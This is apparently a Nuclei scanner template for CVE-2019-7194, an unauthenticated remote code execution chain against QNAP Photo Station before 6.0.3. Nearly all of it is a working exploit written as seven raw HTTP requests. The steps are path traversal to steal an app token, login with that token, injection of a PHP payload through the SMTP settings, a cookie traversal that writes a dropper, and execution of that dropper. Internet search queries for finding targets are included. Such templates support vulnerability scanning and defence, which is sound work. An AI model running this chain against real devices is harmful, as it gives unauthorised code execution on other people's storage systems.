漏洞描述
QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).
id: CVE-2019-7194
info:
name: QNAP Photo Station < 6.0.3 - Remote Code Execution
author: x-stp
severity: critical
description: |
QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).
reference:
- https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
classification:
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cve-id: CVE-2019-7194
cwe-id: CWE-22
epss-score: 0.93118
epss-percentile: 0.99782
cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: qnap
product: photo_station
max-request: 10
intrusive: true
shodan-query:
- content-length:"580 "http server 1.0""
- http.title:"photo station"
- http.title:"qnap"
fofa-query:
- title="photo station"
- title="qnap"
google-query:
- intitle:"photo station"
- intitle:"qnap"
tags: cve,cve2019,qnap,rce,photostation,unauth,injection,lfi,kev,intrusive
variables:
cleanup_payload: "<?php echo php_uname(); unlink(__FILE__); ?>"
dropper_filename: "{{to_lower(rand_text_alpha(6))}}"
username: "{{to_lower(rand_text_alphanumeric(6))}}"
email_account: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
email_passwd: "{{rand_text_alphanumeric(12)}}"
flow: |
http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
# Step 1: Set up a fake album slideshow to obtain a usable album_id
- raw:
- |
POST /photo/p/api/album.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
a=setSlideshow&f=qsamplealbum
extractors:
- type: regex
name: album_id
group: 1
internal: true
regex:
- "<output>([a-zA-Z0-9]+)</output>"
# Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php
- raw:
- |
GET /photo/slideshow.php?album={{album_id}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: access_code
group: 1
regex:
- "encodeURIComponent\\('([A-Za-z0-9%]+)'\\)"
internal: true
- type: regex
part: header
name: phpsessid
group: 1
regex:
- "PHPSESSID=([a-z0-9]+);"
internal: true
# Step 3: Use directory traversal to extract application token (app_token)
- raw:
- |
POST /photo/p/api/video.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
a=caption&f=UMGObv&album={{album_id}}&ac={{access_code}}&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token
extractors:
- type: regex
name: app_token
group: 1
regex:
- "([a-f0-9]{32})"
internal: true
# Step 4: Authenticate using the app_token to get NAS_SID
- raw:
- |
POST /cgi-bin/authLogin.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
app=PHOTO_STATION&auth=1&app_token={{app_token}}
extractors:
- type: regex
part: body
name: nas_sid
group: 1
regex:
- '<authSid><!\[CDATA\[([a-z0-9]+)\]\]></authSid>'
internal: true
# Step 5: Inject self-deleting PHP payload via SMTP config
- raw:
- |
POST /cgi-bin/userConfig.cgi?sid={{nas_sid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
func=addPersonalSmtp&provider_idx=0&sender={{cleanup_payload}}&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account={{email_account}}&email_passwd={{email_passwd}}
# Step 6: Trigger slideshow with QMS_SID pointing to dropper path
- raw:
- |
GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1
Host: {{Hostname}}
Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/{{dropper_filename}}.php; PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}; DESKTOP=1;
# Step 7: Execute the dropper (which deletes the file via unlink after poc request)
- raw:
- |
GET /photo/{{dropper_filename}}.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}
matchers:
- type: dsl
dsl:
- status_code == 200 && contains(body, 'NASVARS')
extractors:
- type: regex
part: body
group: 1
regex:
- 'personal_email\|s:\d+:"[^,]*,[^,]*,([^";]+)'
# digest: 4a0a004730450220378f7a8b866031c95b539346743adb0a57b92040ea0c0eb5862c833598364588022100dd5c367dd86ed7b64fd7089307ac13f99a52ba84b704b41d85822dbf5b291fb3:922c64590222798bb761d5b6d8e72950